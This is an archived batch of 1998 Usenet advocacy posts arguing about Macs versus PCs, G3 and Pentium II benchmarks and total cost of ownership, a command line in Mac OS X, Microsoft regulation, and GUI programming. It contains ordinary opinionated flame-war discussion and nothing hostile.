References: <19980628133235139765@lc345.zianet.com> <3596b427.0@news.together.net> <19980628173536272714@lc301.zianet.com> <macghod-2806982141560001@sdn-ar-001casbarp310.dialsprint.net> <19980629121710811448@lc184.zianet.com> <macghod-2906982347150001@sdn <6ngmsh$jd$1@vixen.cso.uiuc.edu>
In article <6ngmsh$jd$1@vixen.cso.uiuc.edu>, gcheng@uni.uiuc.edu says...
> JDilbert@netcom.com (FlyingDog) writes:
>
> >Her Macs, however, are an entirely different story. We've been through
> >_three_ 7200/90's with bad logic boards, an 8500/250, two clones (a UMAX
> >and a SuperMac - don't remember the specs) and now a G3/233. Not only
> >have I had to swap machines, but I've had to reinitialize HDs and
> >reinstall OSes countless times. I've spent more time on her G3 in the
> >past three months than I have on her PCs in the past three years.
> >Granted, a good portion is user error, but why don't I get the same thing
> >from the same person in the same room on the PC? The wonderful message
> >"Error Type 11" has made that my least favorite number.
>
> Geez... the G3's only run Mac OS 8 and above, so a Type 11 error is not
> possible on those machines...
>
I never said I got the "Error 11" on the G3. My bad. I should have
seperated that comment as a general rant about Macs and not the G3
machine in particular (although it still doesn't work right). Either way,
from my understanding an Error 11 is an unknown error: it could be
harware or software in origin. This doesn't exist in OS 8? I don't recall
seeing it recently, but I'm not at the Macs everyday....
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 01 Jul 1998 00:54:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3599CF07.907E4BED@nstar.net>
References: <6n6a2e$21s$1@news.cmc.net> <christian.bau-2906981013370001@christian-mac.isltd.insignia.com> <1dbgjbx.1f89tj487ev4N@sextans129.wco.com>
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Mike Paquette wrote:
> > look
> You are in a twisty maze of directories, all different
> > move file1 to directory1
> You can't do that!
> > move file1 to directory2
> Oof! OK, but that was a heavy one.
> > kill process
> The process strikes back!
That's really funny. But I prefer rosh (rogue shell):
You have scored an excellent hit against the UNIX -- [more]
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 1 Jul 1998 02:23:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6pj7cj.4ij.sal@panix3.panix.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com> <6n8vma$8b4$1@lwnws01.ne.highway1.com> <slrn6pihqq.rei.sal@panix3.panix.com> <6nc44r$aqu$2@lwnws01.ne.highway1.com>
On 1 Jul 1998 01:41:47 GMT, John Kheit <jkheit@mediaone.net> wrote:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>> I think it follows that any progress that makes it easier to make
>> wine is going to increase the volume of vinegar. The web is an
>> perfect case in point. It should be used as a case against
-----------------------------------^^^
I edited it from "shouldn't" to "should not" to "should" and didn't
proof read. *DOH*
>> progress; There was plenty of vinegar before.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
With the "not" in the above spot, this line makes more sense.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 1 Jul 1998 02:20:02 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6pj76i.4ij.sal@panix3.panix.com>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
On 30 Jun 1998 22:53:22 GMT, Tom Hageman <tom@basil.icce.dev.rug.null.nl> wrote:
>There's just a small bootstrap problem here: how does one run a compiler or
>make(1) without a sh(1)?
Assuming that Apple or MetroWorks will still sell someone a compiler, then you
can write a trivial shell that wraps around the SYSTEM(3) call and use that as
a starting point. I think it is pretty safe to assume that MacOSX will have
that call. People will be running unix CLIs on MacOSX, and Apple can not do
anything to stop that. The real issue is "are they going to do much to help?"
>__/ _/_/ Apple: the knights who say "NIH!"
:)
--
sal@panix.com
Salvatore Denaro
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Here's a thought
Date: Wed, 01 Jul 1998 02:18:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6nc68u$sha$1@nnrp1.dejanews.com>
MacOS X
-------
Maybe there's no OpenDoc.
Maybe there's no QuickDraw GX.
Maybe there's no GameSprockets.
Maybe there's no CLI.
Maybe there's no DPS.
Maybe there's no NSHosting.
Maybe it's not MacOS.
Maybe it's not NEXTSTEP.
Maybe it's not even Rhapsody.
Maybe it's something better.
Think Different. //Couldn't resist
-Ian will use whatever tool is right for the job
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 15:39:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BEFE7.4BC479A8@exu.ericsson.se>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net> <6ng3t9$t6d$1@news.cs.tu-berlin.de> <359B965F.9CB9BE4C@nstar.net> <6ngkhk$b9r$1@news.cs.tu-berlin.de>
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Marcel Weiher wrote:
> >No, that's definitely not the issue, unless you think like a lawyer.
> >From a moral standpoint, that is anything but the issue. I wonder what
[cut]
> >Martin Luther King, Jr. would have said if you had told him that his
> >stay in Birmingham jail was about whether or not he had broken any
> >applicable laws. I would actually like to hear your response to this.
>
> You're comparing MS with MLK?!? Microsoft is an oppressed minority,
> Gates a spokesperson for non-violence?! What are you smoking?
In order, no, no, and Camel Lights. As soon as your '1' and Shift keys
get unstuck, feel free to answer the question. Here's a refresh:
Marcel Weiher:
The question at hand is wether the abuse that
they have committed is in violation of current laws.
Michael Peck:
I wonder what
Martin Luther King, Jr. would have said if you had told him that his
stay in Birmingham jail was about whether or not he had broken any
applicable laws.
Now, we've set up the comparison again. Without putting words into my
mouth this time, perhaps you can construct a response. End with a
period.
> >No, that's really not so. But since you say so, I'd like to hear your
> >definition of "regulatory", and what instances of such "regulation" you
> >think *must* exist in a free market.
>
> Any regulation that is necessary so that the free market actually
> benefits society, instead of harming it. A free market is not
> an end in itself.
Regulation presumes that some external force (government) has the
prerogative of interjecting its judgment in place of the market's
judgment. Regulation is an act of will, free-market economics are a
process of natural causes and effects.
Two points: one, the voluntary act of will must be held accountable for
itself. Regulation has spawned more grief than it has good. It must also
be justified; it has not. Two, the voluntary act of will (regulation)
must first demonstrate that its judgment and ability to effect
resolution is *superior* to the natural outcomes of a free-market. That
has never been accomplished, nor can it actually be done.
Now, I will mention that regulation has a lot going for it, admittedly.
For one thing, it has the by-product of happening to make certain people
very rich. It also tends to make others (sometimes the same people)
powerful and influential, possibly even famous. These shouldn't be
overlooked by the aspiring power-monger and playboy; chicks dig these
perks. When it's too much trouble to outperform your competitors, it's
pretty convenient to have laws that "just happen" to favor your business
or industry.
What's more, you can usually add "graft" and "bribery" to your pedigree
if you've ever been involved in federal regulatory programs. Very
useful. May even get you a Cabinet post (or the Presidency! Don't laugh,
we have one now).
> You are looking to find simple answers to complex questions, and
> seem to have found some simple (I would say simplistic) answers
> that look satisfactory to you.
None of the answers are simple, but the principles upon which I base the
answers are. As long as I don't contradict my principles, I can be sure
of consistent, systematic philosophy.
On the other hand, saying "I've found the exception to the rule because
I have this bad feeling about [name your evil capitalistic company]" is
not principled. It is arbitrary.
> I suspect you suspect wrong.
>
> I'm not familiar with the Sherman Act, but I could tell you
> a little about "Soziale Marktwirtschaft" if you like.
I don't speak German yet, but I'm working on it. So far I can sing "Du
Hast" by Rammstein in the original with reasonable pronunciation, but I
can't tell you exactly what they're saying in English all the time.
> >Again, you've simply got to define your terms. "Freedom" can mean nearly
> >anything; my word of choice is "liberty", and it has a specific
> >definition as I see it.
>
> Webster-Man to the rescue!
>
> Freedom:
>
> 1: the quality or state of being free
> a: the absence of necessity, coercion, or constraint in choice or action
> b: liberation from slavery or restraint or from the power of another: INDEPENDENCE
> [c-h deletd]
So, which of the above do you use? I'm aware of the definitions of
freedom in common use: you still haven't bothered to define *your* use
of it.
> Liberty:
> 1: the quality or state of being free:
> a: the power to do as one pleases
> b: freedom from physical restraint
> c: freedom from arbitrary or despotic control
> d: the positive enjoyment of various social, political, or economic rights and privileges
> e: the power of choice
>
> What's your definition?
Definition c.
> I like the one about despotic control. For example, I would like to
> be free from BG killing my brand new spanking amazing product idea
> by simply announcing that Windows-3000 will have something much
> better.
You've lost me. You said something about despotic control (and my mind
started to nod in agreement), then you broke into this tangent about
product announcements.
> How many people have reported that they basically have *no choice*
> but to run MS-Office because of file-format issues. You have to
> be really, really ideiologically blinded to not see that there
> is something there that is not OK.
Something is not OK, we change it. The means are unimportant. Is that
the basis of your political outlook, Marcel? That was and is the basis
of fascism.
MJP
From: webservice@zianet.com (M. Clark)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Memory protection question.
Date: Tue, 30 Jun 1998 20:03:10 +1000
Organization: Southwest Cyberport
Message-ID: <19980630200310556881@lc129.zianet.com>
References: <19980628133235139765@lc345.zianet.com> <3596b427.0@news.together.net> <19980628173536272714@lc301.zianet.com> <macghod-2806982141560001@sdn-ar-001casbarp310.dialsprint.net> <19980629121710811448@lc184.zianet.com> <macghod-2906982347150001@sdn-ar-001casbarp149.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote:
> In article <19980629121710811448@lc184.zianet.com>, webservice@zianet.com
> (M. Clark) wrote:
>
> > Steve Sullivan <macghod@concentric.net> wrote:
> >
> > > In article <19980628173536272714@lc301.zianet.com>, webservice@zianet.com
> > > (M. Clark) wrote:
> > >
> > >
> > > > By the way, this is the late 90's. The Porche 911/Ford Escort analogy
> > > > is as outdated as PC machines are because Macs are now much faster and
> > > > less expensive then PC machines. It's now time for PC owners to wake
> > > > up, look at a G3 Mac and moan, "I could have had a V8."
> > >
> > > How in the heck are g3s "both faster and less expensive than p2's"? This
> > > needs some explaining as it is obviously false...
> > > First, pc's are cheaper. Here is a p2 300 from EZ computer (1 888 928 232
6)
> > > p2 300 with 15 inch .28mm dot pitch for $1149
> > > 64 megs ram
> > > 6 gig ultra dma
> > > 32x cd,
> > > 56k modem
> > > yamaha 3d sound card w /wave table
> > > 180 watt stereo speakers
> > > 8 megs of video ram
> >
> > Where is the built-in networking or do you need to install some kind of
> > network card?
> > Where is the true plug-n-play?
> > What software comes with this machine?
> >
> > I'll credit this machine with a good complement of RAM, HD, modem and a
> > monitor. Otherwise it's just a basic PC combined with built-in CD
> > player - a sales gimmick for babysitting the kids with games at the
> > house but lacking as a networkable office machine which all PowerMacs
> > can be used as.
>
> True, it lacks 10 base t ethernet, which the company would probably
????????
> preinstall and would probably add a additional $50. How much would it
????????
On one hand you carefully research specmarks. On the other hand you
base some of your presumptions on a "probably this - probably that"
basis. If the both of us practiced a little more consistency in our
scrutiny of information we'd probably agree with each other a little
more.
> cost to have a g3 233 to COME TO YOUR DOOR with 64 megs ram, 6 gig hard
> drive, 56 k modem, 8 megs of vram?
>
Agreed, I wouldn't expect an economical machine like this from Apple.
Nevertheless a "hidden" question is given Wintel bloatware, are these
seemingly large reservoirs of RAM, HD actually large enough?
>
>
> > > This is way way way way way cheaper than its comparative g3 speed wise,
> > ???????????
> > Why do you say "comparative" when the G3 is "way way way way way" faster
> > than a P2? Intel is no longer fooling anybody, well most people anyway,
> > with its outdated CPU technology.
>
> This is such bull. I post a long article with many facts and what facts
????
The length of any article does not guarantee its integrity.
> do you post? NONE!!
Isn't it "way way way way way" obvious that I was just playing with your
imprecise wording to express what I wanted to say? Recognizing that I
inadvertently use imprecise wording myself, my approach to posting is to
try to include a URL to some industry-respected _PC_ source to offset my
personal biases.
>A top end g3 300 is about %40 faster than the top end single processor
>pc. THis is true. But a p2 300 is a bit faster than a g3 233, AND is
>much cheaper.
Isn't it apparent that you have decided for your needs that initial cost
is more important than speed and higher tco?
>
>
>
> >
> > > which is a g3 233 with only 32 megs of ram, only a 4 gig hard drive, only
> > > 2 megs video ram, no modem, no external stereo speakers, no 15 inch .28mm
> > > monitor, and the g3 costs about $1600 from a authorized apple dealer (if
> > > you shop around, most places sell it for the minimum advertised price
> > > which is $1699.
> >
> > You're right Mr. Sullivan. I've been in the newsgroups long enough that
> > I should have clarified that Mac's are cheaper because Mac users don't
> > get gouged as Wintel owners do from cost of ownership including wasting
> > significant amounts of personal "free" time to keep PC boxes running.
>
> Oh please, I have spent lots of "free" time reinitializing my hard drive
> and reinstalling the system because this g3 was so crash happy. It is
?????????????????????
I'm sorry you had trouble with your G3. Is your trouble typical of
other G3 owners or are you making generalizations about the G3 born out
of your own possibly uncommon problems?
> now finally fairly stable. Now if you want to add on a rider, "More
> expensive g3's are slower than less expensive p2's, BUT you will have to
> spend more free time keeping the pc working than you with g3" I will just
> nod in agreement.
It seems like you are chiselling your perspective in granite. CPU
technology is currently undergoing some impressive advances. Sure,
Intel will squeeze what it can out of its Pentium line but I still
expect the bigger fireworks display will be from from Gx technology.
Time will tell.
>
> Of course I have never owned a pc, but I have used a pc for a while
> running openstep.
>
>
>
> > >
> > > As far as the g3 being faster, a g3 300 may be a bit faster than a p2 400,
> > > but it definitely is not cheaper. So instead lets look at the p2 300
> > > which is alot less expensive than a g3 233, plus comes with a extra 32megs
> > > of ram ($40 value)
> > > extra 56k modem ($100 value) extra 6 megs of video ram ($50 value) extra
> > > external stereo speaker ($50 value, tho can you even get 180 watt stereo
> > > speakers for the mac for $50??), extra 15 inch .28mm monitor ($200 value)
> > > and a extra 2 gigs of hard drive ($50 value?), but it has no scsi so
> > > subtract $40 for the slow 5 meg scsi the g3 has). So the p2 is $450
> > > cheaper, then when you add the additional $450, you get $900 cheaper!!
> >
> > Are all Wintel users as fooled by the phony economics of initial cost as
> > you are?
>
>
> Oh please, this tco stuff is SUCH CRAP, UNLESS you are a company. If you
> are a individual, you probably dont even have a difference in tco.
????????
Consider that home users have been known to spend their otherwise free
time in the newsgroups trying to learn the "seriousness" of a Norton
volume bitmap error on a Mac, for example. Yes, tco for one machine, a
household computer for example, pales in comparison to a company's tco.
Nevertheless, the home computer tco _probably_ threatens the household
budget much more than with a company's tco budget.
>
>
>
> > > Now I have to show that a p2 300 is about as fast as a g3 233. First of
> > ???
> > Why compare speeds of a p2 300 with a g3 233 when g3 300 is available?
>
> Because their is no p2's that are as expensive as a g3 300??
>
>
>
>
>
> > > all, Joe Ragosta's page shows that a g3 266 is %7 faster than a p2 300 in
> > > various photoshop tests. When you account for how much faster the 266 is
> > > than the 233, the p2 300 is %7 faster than a g3 233. The p2 300 is going
> > > to be FASTER than the g3 233 in quake, excel, and word. Now, lets take
> > ??????????????????????
> > There's a platform war going on and certain software package are
> > optimized for the slower Intel processors for marketing purposes - all
> > customer lose out because of this. You'd find out what real CPU speed
> > was is if these packages were optimized for the PPC.
>
>
> Ok, so the mac division at microsoft is purposefully making mac software
> slower? I bet mac programming legend Scott Knaster would be interested to
> hear this. Photoshop shows that a p2 300 is about as fast as a g3 233, so
> why isnt photoshop "optimized for the ppc".
>
It may be more accurate to say that Microsoft was deliberately not
optimizing their code for the Macintosh. I don't remember this well but
years ago Microsoft was using some in-house code that apparently
completely ignored optimization for the 680x0 processors.
Interestingly, more recent rumor has it that Microsoft software for
Windows has been know to run faster under Virtual PC than than the
actual native cross-platform version of the application for the Mac
itself. Corrections welcome.
>
>
> > > bytemark. About %90 of mac software is written with the codewarrior ide.
> > > A good educated guess puts over %50 of this software using the codewarrior
> > > ide. Since the MAJORITY of mac software will be compiled with the
> > > codewarrior compiler, we will use that for byte.
> > >
> > > A g3 266 with the Codewarrior compiler with optimizations gets int of 5.56
> > > and fp of 4.77. I dont know what the most prevalent compiler is for the
> > > pc side (and since this is a comparison between a p2, not a p2 running
> > > windows, I could use something on openstep or linux, which would
> > > undoubtedly be much faster, since windows is so bloated) is microsofts
> > > compiler, given the sheep mentality of wintellians :P
> > > A p2 300 gets a int score of 5.69, and a fp of 4.82, which is FASTER than
> > > the g3 266.
> > >
> > > So the p2 300 is just as fast as a g3 233 (both bytemark using the
> > > compiler that the majority of software is compiled with shows the p2 is
> > > actually faster, and photoshop shows the p2 300 is actually faster than a
> > > g3 233.
> > >
> > > Now even tho both tests show the p2 300 to be faster than a g3 233 (and in
> > > fact bytemark shows it to be faster than a g3 266 as well, and only %7
> > > slower than the g3 266), I will just say a p2 300 is as fast as a g3 233,
> > > partly because I am a mac user, and partly because comparing speeds of
> > > apples and oranges is never exact.
> >
> > Please Mr. Sullivan. Even PC Magazine says the G3 is faster than P2.
> > Try:
> >
> > <http://www.zdnet.com/pcmag/pctech/content/17/13/tu1713.007.html>
>
> So lets see, I take benchmarks of photoshop from mac advocacy Joe's web
> page, also take bytemarks with the most prevalent compilers used, and your
> only response is a web page that give no figures?
>
I think that when PC people actually say that the G3 is faster than P2
that you can't get more objective than that.
Specmarks, in my opinion, are the "trees" point of view. I think
statisticians could really have a day if they wanted to to promote ANY
platform with specmarks. I use the "forest" point of view, the
integration of the OS/application/user. This broad perspective is
actually what determines if I can take off for the weekend earlier.
>
>
> > You're not really objective when it comes to which CPU is faster even
> > though the G3 is recognized to be faster than P2 by PC Magazine.
>
> I write a huge post giving results of various benchmarks, including those
> on mac advocates pages (see Joe ragosta's web page as well as eric
> bennetts), and you call me not objective? I dont even own a pc, I use
> macs!!
Based on your remark:
"A top end g3 300 is about %40 faster than the top end single
processorpc. THis is true."
the bottom line is that we both believe that the fastest G3 is faster
than the fastest P2 - correct me if I'm wrong. Where we disagree is
that you regard the cost of a computer only as the initial cost and not
tco except at company level. You said:
"Oh please, this tco stuff is SUCH CRAP, UNLESS you are a company."
On the other hand, I regard tco as a factor to contend with both in the
company and in the house. Even as a hobby people continuously put money
into computers.
Given your perspective, how did you wind up using Mac?
M. Clark
>
> Sigh
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Message-ID: <jpolaski-3006982204390001@d151-216.ce.mediaone.net>
References: <358ff412.0@news.together.net> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com> <joe.ragosta-3006981531260001@wil32.dol.net> <6nbjmd$jj1@nntp02.primenet.com>
Date: Wed, 01 Jul 1998 02:58:28 GMT
NNTP-Posting-Date: Tue, 30 Jun 1998 21:58:28 CDT
Organization: MediaOne Express -=- Central Region
In article <6nbjmd$jj1@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> : In article <6n5vgo$6r2@nntp02.primenet.com>, John Jensen
> : <jjens@primenet.com> wrote:
>
> : > The thing you have to watch are the big four components:
> : >
> : > - CPU
> : > - Hard Disk
> : > - Motherboard
> : > - Video Card
>
> : Or anything else.
>
> : Otherwise, how do you explain that both a SCSI card and a sound card
> : brought my system to its knees?
>
> It is safer to go with popular, respected, components in each category
> ... Adaptec for the SCSI (and not a brand-new model) and SoundBlaster for
> the sound.
>
> SCSI gets to be a problem nowadays because so few machines use it. SCSI
> is getting compartmentalized into the high-end market.
====
So few PC's use it since a lot of PC'ers don't really want to have to
*buy* a SCSI card and spend incremental more money for what is really a
better performing solution.
However, one one hand the wintel world cries that "you mac users only have
SCSI..there is so littlt choice and we have the cheaper IDE, EIDE, etc.,"
Then you say you don't want to use the choice(s) you have....
I guess it can be both ways if thats the way you want to make it.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 30 Jun 1998 22:23:51 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3599ABC7.30BCAA96@nstar.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 1 Jul 1998 03:28:56 GMT
Maury Markowitz wrote:
> Yup. Conceptually displaying and interacting with a dialog has no _logic_,
> yet they all require code. They should instead have a single line command.
Not true. There is a lot of logic in interacting with dialogs. Most
dialogs, in fact, display too *little* use of logic. They are stupid
form-based interfaces that require the user to do most of the work. Like
I've said before, most GUIs display the complexity of a straight HTML
page. Which is fine, because it just goes to show that all of the
"wonderful" GUI ideas of the past two decades have been achieved with a
language that was originally meant for hyperlinks. Sheer idiocy.
The fact that most programming languages are incredibly braindead with
regard to interactive concepts is the problem. The logic in most GUI
systems has an extremely limited vocabulary because it is capable of
making assumptions about interaction that general-purpose logic cannot.
This is why there is a need for a specialized programming language, a
*disposable* programming language. Logic never changes, but the subsets
we use to describe our tasks change constantly. Therefore a
general-purpose language for general-purpose logic must be available and
well-known, but the tools we use for building GUIs must necessarily have
high turnover rates.
Oh, I know that there are certain people out there who are terrified of
having apps that don't look exactly the same. It's like the old X
Windows horror; "Drag and drop doesn't work right!", they whine
incessantly. Well, shit, what a travesty.
> HyperCard got it "corrector" a decade ago though.
HyperCard got it correct for its day. That day passed over a decade ago.
Apple's insistence on keeping HyperCard "current" was the source of
failure. HyperCard's users should have realized that a black-and-white
system of interaction was dead, moved on through SuperCard and then on
to the next GUI language. *Underneath* all of that should have been a
much slower progression that allowed more complex and robust logic
programming.
See, HyperCard's paradigm said "the language is permanent, just change
the application with extensions". XFCNs, XCMDs, etc. Bullshit. Don't
extend the system, overhaul the system to fit the changing needs.
Similarly, the Tcl/Tk programming "system" is inherently flawed. It's
based on a fragile language that nevertheless makes putting together
simple interfaces very easy to do. The problem is that most uses of
Tcl/Tk relied on use of Tcl for the entire program. That's a huge waste
of potential, both in terms of the languages that would have done a
better job for the same task, and for the Tcl language which was never
properly applied to its intended purpose.
Unfortunately, few people apply their thinking to the process of
*starting* with a complex language and putting easy abstractions to use
on top of it. They usually say "everything is too complex" and start
with a fragile language, then they try to extend it to fit a larger
problem domain. It's so backwards it's not even funny.
I appreciate NEXTSTEP's programming libraries, and the fact that they
try to do it the right away around, but I think they fail just as badly
as all other efforts. They never got to the point of being able to
describe GUI interaction; they just make it easy to describe NEXTSTEP's
GUI interaction. Ports to NT notwithstanding, the whole system is based
on a strong definition of what, exactly, is a GUI, and they enforce a
status quo. Instead of being able to say "I've changed my mind, I want
my GUI to be totally different" and roll with the punches, Yellow Box
just provides shortcuts to its particular brand of graphical display.
That's great if you're still fascinated by putting up "inspectors" and
3D borders and all that jazz. How fun! Learn to love it, accept no
substitutes, even starve yourself of alternatives so that you can become
more set in its ways, as John Kheit says. We've got the answers, buy in
and have a seat.
Nobody's got the answers; any right-minded computing professional will
reserve the right to change his mind daily. The GUI is an open-ended
concept, and its end-of-life is far, far away. We haven't even begun to
exhaust the possibilities. I have yet to hear a truly compelling
argument for the modern GUI program that can't be written in Visual
Basic. I hear lots and lots of people saying, "Real programmers don't
use Visual Basic", then these same "real programmers" go and write
dogshit GUI apps.
I sat down a few weeks ago and wrote a Qt front-end to RPM in 10 hours,
or so. I played with it for a bit and thought I was so clever because I
chose a GUI system that let me prototype and build an "effective" GUI in
so little time. Then I realized that I probably could have written the
same GUI into an HTML page with a CGI backend and been done in more like
3 hours. This whole industry is the biggest racket in the history of
Western culture, and I'm ashamed to be a part of it.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 30 Jun 1998 22:34:48 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3599AE58.5E54D75E@nstar.net>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 1 Jul 1998 03:39:51 GMT
Salvatore Denaro wrote:
> Apple *has* machines with slots. They even have an All-in-one with slots.
> If you want slots, then the iMac isn't a good choice. Why should Apple have
> a half dozen machines with the same specs? Didn't they just try to simplify
> the line up? And why should the iMac be an excuse to not lower the prices
> of the other (slotted) Macs?
*All* PCs have slots. I guess this gives them all the same specs. Come
to think of it, all automobiles have wheels. This is a real drag on the
high-end, which can't offer anything to justify high margins, eh?
Or maybe there are certain things that buyers recognize as *good* and
*necessary*...
> >wants Apple to ship the Rainbow of Fruit Computers, fine, do it. I'm
> >actually after picking a smart color and sticking with it, instead of
>
> I think a *choice* of colors would be cool. Why would picking one color
> be better than offering a choice?
Like I said, if people want it, people should have it. I didn't say
anything about limiting *anybody's* choice, now, did I? As it is, I'm
the one without a choice, since the only choice of color on the iMac is
Baby Blue, named after Apple's perception of the prospective customer.
> >> Ever been to Toys-R-Us? Kids make a lot of buying choices there...
> >Maybe Apple could actually sell the iMac there, too. It's the most
> >appropriate place I can think of...
>
> Sure. Stick it next to the PlayStations and Gameboys. Set up a demo that
> shows games/internet access/edu-tainment software.
Hail Apple, King of the Consoles. The Swiss Army Toy. This is why I've
always been such a fan of the Macintosh: it gives so many reasons to
spend money on junk. Don't spend $200 on a game-machine, spend $1300 on
a game machine.
Maybe that's not it...
MJP
Date: Wed, 01 Jul 1998 08:04:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <joe.ragosta-0107980804210001@wil45.dol.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <rmcassid-3006980918270001@dante.eng.uci.edu> <35991b60.0@nnrp1.news.uk.psi.net> <6nclvs$ql2$1@supernews.com> <3599e1bd.0@nnrp1.news.uk.psi.net> <6nd7aa$ipm$2@supernews.com>
In article <6nd7aa$ipm$2@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
> Richard Frith-Macdonald may or may not have said:
> -> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> -> >What I would like to see is something like a Security.pkg which will
> install
> -> >qmail, delete sendmail, and turn off a bunch of unneeded system services
> in
> -> >its postinstall script.
> ->
> -> But why not supply the system configured with those things turned off
> anyway?
> -> Cost's Apple next to nothing.
>
> They should do so, but I'm not holding my breath. No commercial UNIX vendor
> that I know of has ever done this right.
Hmmm. Why not go to the Rhapsody mailing lists (you can find a link at
www.stepwise.com) and make the suggestion. There _are_ people listening
there.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 02 Jul 1998 16:19:42 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BF96E.1ACEFEAF@exu.ericsson.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
